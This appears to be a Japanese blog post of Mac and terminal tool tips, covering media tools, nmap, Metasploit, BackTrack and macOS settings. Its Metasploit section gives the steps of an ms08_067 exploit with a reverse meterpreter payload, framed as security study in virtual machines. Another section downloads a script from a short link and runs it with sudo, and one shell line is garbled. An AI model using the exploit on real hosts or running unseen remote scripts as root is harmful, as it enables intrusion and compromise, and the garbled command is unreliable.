しかし、どうやら音声が高くなりすぎてしまって、他のプレイヤーと比べると、とても聞こえにくいです。

VLC

私は、作業中に動画を再生することがよくあります。ただし、いつも倍速再生するので、Mplayerでは少し不便な場合があります。そんな時は、VLC)を使用してみることにします。MacPortでインストールしてみます。ただし、`Xcode4.3`を使用している場合は、`Error`が出るので、以下のようにします。

sudo xcode-select -switch /Applications/Xcode.app/Contents/Developer/

sudo port install vlc


または、`.dmg`ファイルを利用してインストールする場合は、設定ファイルに以下を追記すると、便利になります。これは、`cvlc`を使用する方法です。

alias cvlc='/Applications/VLC.app/Contents/MacOS/VLC --intf=rc'


VLCにErrorが出る場合



`VLC`のErrorが出る場合、以下のような解決策があるようです。

% vlc
VLC media player 2.0.1 Twoflower (revision 2.0.1-0-gf432547)
[0x23b9108] main libvlc error: No plugins found! Check your VLC installation.

% vlc -v
VLC media player 2.0.1 Twoflower (revision 2.0.1-0-gf432547)
[0x1b8c108] main libvlc warning: cannot read /livefs.squashfs/usr/lib/vlc/plugins/plugins.dat (No such file or directory)
[0x1b8c108] main libvlc error: No plugins found! Check your VLC installation.


#Solution 1
#VideoLANのプラグインを参照するためシンボリックリンクを作成します。
$ sudoのはln-s / / livefs.squashfs

#Solution 2
#環境変数にVideoLANの正しいパスを教えます。
$ export VLC_PLUGIN_PATH=/usr/lib/vlc/plugins/


その他の解決法



その他、`Mac`にVLCをインストールし、インターフェイスを変更すると、CUIでの操作ができるようになります。ファイルの選択は、Bです。その他の操作方法は、hを押して、ヘルプで確認してください。

VLC > 環境設定 > インターフェイス > すべて表示 > インターフェイス:メインインターフェイス > ncurses



echo "alias gvlc='/Applications/VLC.app/Contents/MacOS/VLC" >> ~/.zshrc

source ~/.zshrc

gvlc


ffmpeg

ffmpegとは、`.mp4`や`.flv`を変換することができるツールです。また、動画変換アプリとしては、Handbreakも優秀です。

brew install --use-gcc ffmpeg


私は、動画を`.mp3`に変換するために使用することが多いです。以下のようにしてエイリアスを設定することでffmpeg-mp3コマンドでフォルダ内にある`.mp4`と`.flv`を一括変換できます。

echo "alias ffmpeg-mp3='for i in *.mp4; do ffmpeg -i $i -vn ${i%.mp4}.mp3; done && for i in *.flv; do ffmpeg -i $i -vn ${i%.flv}.mp3; done'" >> ~/.zshrc


また、`.swf`を変換するには、swftoolsが便利です。

musical

DVDをバックアップし、変換するには、musicalが便利です。

brew install dvdbackup

gem install musical


musicalの使用例



#DVDのリッピングとwavへの変換
musical

#DVDのリッピング
musical --ignore-convert-sound


exiftool

exiftoolとは、`EXIF`情報を表示したり、編集できるツールのことです。これを利用することで、写真を整理したり、整理した写真をrubyでFlickrに投稿したりすることができます。

% brew install exiftool

また、私は、`GPS`位置情報を削除するためにも使用することがあります。

exiftool -overwrite_original -geotag= *.jpg


imagemagick

imagemagickとは、画像を表示したり、変換したりするツールです。

% brew install imagemagick

例えば、180x120サムネイルを作成するには以下のようにします。また、画像を表示するには、displayコマンドを使います。

convert -define jpeg:size=180x120 -resize 180x120 src.jpg dst.jpg


youtube-dl

youtube-dlとは、YouTube動画をURLからダウンロードするツールです。w3mと一緒に使用すれば、そこそこ便利になるかもしれません。

brew install youtube-dl

youtube-dl -t URL


以下、例えば、サイトに載せてある`YouTube`動画をまるごとダウンロードしてみましょう。

ドットインストールとは、無料でプログラミングを学べるサイトのことです。このサイトを利用すると、プログラミングの学習が捗ります。ただし、ここでは、いちいちサイトにアクセスするのも面倒なので、当該サイトに貼り付けてある`YouTube`動画をダウンロードして視聴してみたいと思います。

#動画のダウンロード
brew install wget

wget -r http://dotinstall.com/

find ~/dotinstall.com/lessons -name "[0-9]*" | xargs -I{} mv {} ~/dotinstall.com/lessons && cd ~/dotinstall.com/lessons && cat [0-9]* [0-9]* > filename.txt && grep videoId filename.txt > videoid.txt && sed "s|videoId: '|http://jp.youtube.com/watch?v=|" videoid.txt > url.txt && sed "s/',//g" url.txt > url2.txt && youtube-dl -t -a url2.txt

mkdir -p ~/Movie/dt/ && mv *mp4 ~/Movie/dt 

cd ~/Movie/dt

#動画の視聴
echo alias mylist='find `pwd` -maxdepth 1 -mindepth 1 | grep -v "\/\." > mylist' >> ~/.zshrc

source ~/.zshrc

mplayer -playlist mylist -novideo


上は、まずサイトをまるごとダウンロードし、そこにある`YouTube-ID`を検索しています。次に、そのIDを完全な形のURLに変更し、それをyoutube-dlを使ってダウンロードしています。

動画の視聴には、プレイリストを作成し、それをmplayerで音声のみを再生しています。プレイリストの作成コマンドをもう一度解説しておきます。

#フォルダ内にあるファイルのパスをmylistに抽出する(ただし、隠しファイルは含まない)
echo alias mylist='find `pwd` -maxdepth 1 -mindepth 1 | grep -v "\/\." > mylist' >> ~/.zshrc




Nmap

nmapとは、ネットワークスキャナのことです。様々な脆弱性をスキャンするスクリプトも数多く公開されています。

$ nmap -sT 192.168.0.3

スクリプトは、`Lua`で書かれています。ダウロードしたものをnmap/scriptsに保存し、データベースを再起動すると使えるようになります。

wget http://nmap.org/svn/scripts/smb-check-vulns.nse

find / -name nmap

mv smb-check-vulns.nse /usr/local/share/nmap/scripts

nmap --script-updatedb

nmap --script=smb-check-vulns 192.168.0.3


Metasploit

Metasploitとは、セキュリティにおける定番ツールのことです。基本的には、脆弱性スキャナと攻撃ツールとなっておりますが、拡張することで、総合的な脆弱性テストが可能です。

では、なぜこのようなツールを紹介するのかというと、私は、パソコンのセキュリティは重要であると考えています。そして、セキュリティを学ぶには、まずはハッキングから学ぶことが効率的だと考えています。つまり、攻撃者の立場になってものを考えるわけです。ということで、ここでは、`metasploit`の基本的な使い方を紹介したいと思います。

sudo port install metasploit3

brew install metasploit

sudo port uninstall metasploit3

msfconsole

msfupdate


metasploitを実行するときは、ローカルネットワークに仮想環境を構築し、それを対象にしましょう。ここでは、VirtualBoxを使用。

metasploitの使い方を学ぶには、常に最新のセキュリティ情報をチェックし、危険な脆弱性については、仮想環境にて実行してみることをおすすめします。

#一気にsessionを確立できるためパフォーマンスによく使われるxpの特定バージョンの脆弱性の検索
> search ms08_067_netapi

#攻撃ツールのロード
> use windows/smb/ms08_067_netapi

#ペイロードの設定
> set PAYLOAD windows/meterpreter/reverss_tcp

#攻撃対象の設定
> set RHOST 192.168.0.3

#使用するポートの設定
> set LPORT 8080

#攻撃の開始
> exploit -j


なお、ここでは、投稿の体裁上、Mainの`Mac`で攻撃を実行していますが、攻撃する側、攻撃される側どちらも仮想環境に構築し、外部からアクセス出来ないように設定しておくのが一番かとおもいます。その場合、攻撃する側は、BackTrackを使用するのがいいかと思います。

BackTrack

BackTrack5とは、`Ubuntu`をベースに作られた`Hacking Tool`をつめあわせたOSのことです。アプリも必要最低限しか入っておらず、かつブラウザの設定において一定のセキュリティが施されていることから、初期からある程度のセキュリティが考えられています。



ここでは、BackTrack5初期設定を説明していきたいと思います。

apt-get update && apt-get install software-center


#日本語版の`BackTrack`も出回っているようですが、一応紹介しておきます。
#ソフトウェアセンターで検索
Language Support


apt-get install vim

vim ~/.bash_profile

#以下を追記します。
###ここから###
#!/bin/sh
if [[ ! $DISPLAY && $(tty) = /dev/tty1 ]]; then
exec startx
fi
###ここまで###


prepare-kernel-sources

cd /usr/src/linux

cp -rf include/generated/* include/linux/

update-rc.d wicd defaults


sudo apt-get install xdg-user-dirs-gtk

LANG=C xdg-user-dirs-gtk-update


Cygwin+mintty

`Windows`で`Terminal`環境を整えるには、Cygwin+minttyがベストだと思います。



まずは、Cygwinをダウンロードし、インストールした後、以下のコマンドを実行します。なお、セットアップにてWeb > Wgetだけは`Check`を入れておいてください。

wget http://apt-cyg.googlecode.com/svn/trunk/apt-cyg

mv apt-cyg /usr/bin

chmod +x /usr/bin/apt-cyg

source ~/.bashrc

apt-cyg install mintty


なお、シェルをzshに変更する場合は、/etc/passwdの`/bin/bash`を`/bin/zsh`に変更します。これで初期からある程度の補完が効いて少しは楽に作業ができます。

apt-cyg install zsh

apt-cyg install vim

vim /etc/passwd


/bin/bashのところを/bin/zshに変更する。

確認しておきたい設定


01. トラックパッドの操作の確認
02. キーボード操作の確認
03. 隠し機能の確認

トラックパッドの便利操作



`Dock`にある システム環境設定 > トラックパッド > を選択します。そこで、有効にしたい項目にチェックを入れます。



キーボードの便利操作



`Dock`にある システム環境設定 > キーボード > を選択します。そこで、有効にしたい項目にチェックを入れます。




C-F4 //開いているウィンドウを選択する
C-F3 //Dockにフォーカスする
C-a //行頭へ移動
C-e //行末へ移動
C-k //カーソルより後を行末まで削除
C-u //カーソルより前を行頭まで削除
Alt-矢印 //単語間のカーソル移動

その他の便利操作



MacBookAirでは、起動ボタンを押すと、スタートメニューが表示されます。ここで、スリープはs、再起動はrです。キャンセルはEscを押します。また、ファイルやフォルダを選択するときも、基本名前のアルファベットを入力していけば、選択されます。



それ故に、`Mac`を英語表記にすることには非常に意味があります。右クリックの項目にフォーカスする際にも、日本語では不便を感じます。よって、システム環境設定 > 言語とテキスト から、英語を選択して、適用するのも良いかもしれません。

隠し機能の確認



アプリを使うのが一番手っ取り早く、分かりやすいのですが、ここでは、端末を使って、隠し機能のON,OFFを操作してみます。

#ネットワーク上にDS_storeを作らない
defaults write com.apple.desktopservices DSDontWriteNetworkStores true

#再起動時にウィンドウを復元しない
curl http://goo.gl/Z4EFC -L -s -o ~/fixlogin.sh && chmod +x ~/fixlogin.sh && sudo ~/fixlogin.sh ; rm ~/fixlogin.sh

#ユーザライブラリを表示する
chflags nohidden ~/Library/

#Dockの待機時間ゼロ
defaults write com.apple.Dock autohide-delay -float 0 && killall Dock

#Dashboardを無効にする
defaults write com.apple.dashboard mcx-disabled -boolean true


Free App


01. BetterTouchTool //トラックパッドを拡張
02. Google Chrome //インターネットブラウザ
03. Growl //通知拡張
04. Kopypasta //クリップボードをバックアップ
05. Quicksilver //アプリにショートカットキーを割り当て
06. WindowFlow //ウィンドウ切り替え
07. XtraFinder //Finderの拡張
08. Xcode //開発環境を提供
09. TinkerTool //Macの隠し機能
10. VirtualBox //仮想環境
11. Skitch //スクーンショットの撮影と画像の編集
12. DashExpander //無料の高機能エディタ
13. Alfred //キーボード操作拡張
14. Google IME //Google 日本語入力
15. Dropbox //設定ファイルの共有やバックアップ
16. ShiftIt //ウィンドウ操作補助
17. Kobito //Qiitaへの投稿
18. GitHub for Mac //GitHubへの投稿
19. GIMP //高機能の画像作成・編集
20. Notational Velocity //Simplenoteクライアント
21. Evernote //高機能メモ帳Evernote
22. KeePassX //パスワード管理アプリ。
23. MacVim //Vimエディタの日本語拡張版
24. iTerm2 //ターミナル
25. ClamXav //ウィルススキャナ
26. ClipMenu //履歴機能を強化
27. CheatSheet //ショートカットキーヘルプ
28. NetBeans //日本語ドキュメントがしっかりしたIDE
29. VLC //メディアプレイヤー
30. Type2Phone //iPhoneのBluetoothキーボードにする
31. dolipo //ネット環境の高速化
32. TeamViewer //WAN経由でのGUIリモート補助
33. AccessMenuBarApps //メニューバーへのアクセス改善

GIMP Plugin

01. Liquid Rescale//画像のリサイズに使えるプラグイン
02. Wavelet Denoise //ノイズを除去するためのプラグイン
03. Gimp-reflection //特殊効果としての反射を行うプラグイン
04. Separate+ //CMYKファイルを扱うプラグイン
05. Z-design Tech brushes set v2 //サイバー風ブラシセット

Chrome 拡張機能

便利な`GoogleChrome`拡張機能を紹介します。動作は`:help`などで確認してください。特に、連続HIT-A-HINTが便利です。




01. ViChrome //キー操作補助
02. gleeBox //コマンド操作

No free app

私は、基本的に`Linux User`なので、`Mac`でしか使えない有料アプリは使いませんが、人気があるということで、最後に紹介しておきます。


01. PopClip //マウスのCopy補助
02. MarsEdit //ブログエディタ
03. Transmit //FTPクライアント
04. 1Password //パスワード管理
05. iStat Menus //CPUやメモリ監視
06. Vmware fusion3 //仮想環境
07. Osfoora //Twitterクライアント
08. MenuPop //右クリックメニューの呼び出し
09. TextExpander //入力補完
10. Photoshop //画像編集
11. Illustrator //グラフィックサポート

VLCで動画を再生してみた

VLCで動画を再生する部分の説明がわかりにくかったとおもいますので、操作をビデオ撮影してみました。




iTerm2


ウィンドウの透過度をMaxにしたプロファイルを作成し、それにショートカットキー Shift+Cmd+w を割り当てています。

iterm2_window0


iterm2_setting


また、動画を再生するときは、フルスクリーン Cmd+Enter を使用しています。


Tmux


まずは、tmuxを起動していますね。`alias`でコマンドを短縮していますが。


ここで、 tmux で使用した操作を解説していこうと思います。なお、ここでは、ペインをウィンドウと読み替えています(たぶん)。


ウィンドウ分割(縦)
C-b, %

ウィンドウ分割(横)
C-b, "

ウィンドウ間の移動
C-b, o

ウィンドウの入れ替え
C-b, {

ウィンドウの大きさを拡大する
C-b, Alt+↓



VLC


VLC のインターフェイスを変更し、端末上で操作できるようにしています。


vlc_int

vlc_set


また、`alias`を設定し、簡単に起動できるようにしています。


alias vlc0='/Applications/VLC.app/Contents/MacOS/VLC'



これで、 vlc0 コマンドで、VLCが起動できます。操作方法は、 h を押せば分かると思いますが、今回使用した操作を紹介していこうと思います。


停止・再生
Space
ファイラーの表示
B




VLC(GUI)


自分にとってはこれが一番肝心なのですが、再生速度を変更するショートカットキーを設定しています。


vlc_shutocat



速く ]
遅く [




YouTube


まず、動画を検索しています。これは、以下の内容を設定ファイルに追記することで、 youtube-search コマンドで検索できるようになります。





動画のダウンロードは、 youtube-dl を使います。


brew install youtube-dl



Shift


Sfiftは、ショートカットキーでウィンドウを移動できるようにするアプリです。


Alt+Cmd+Ctrl+← とすることで、ウィンドウを画面右端に移動できます。動画再生ウィンドウを移動した時に使いました。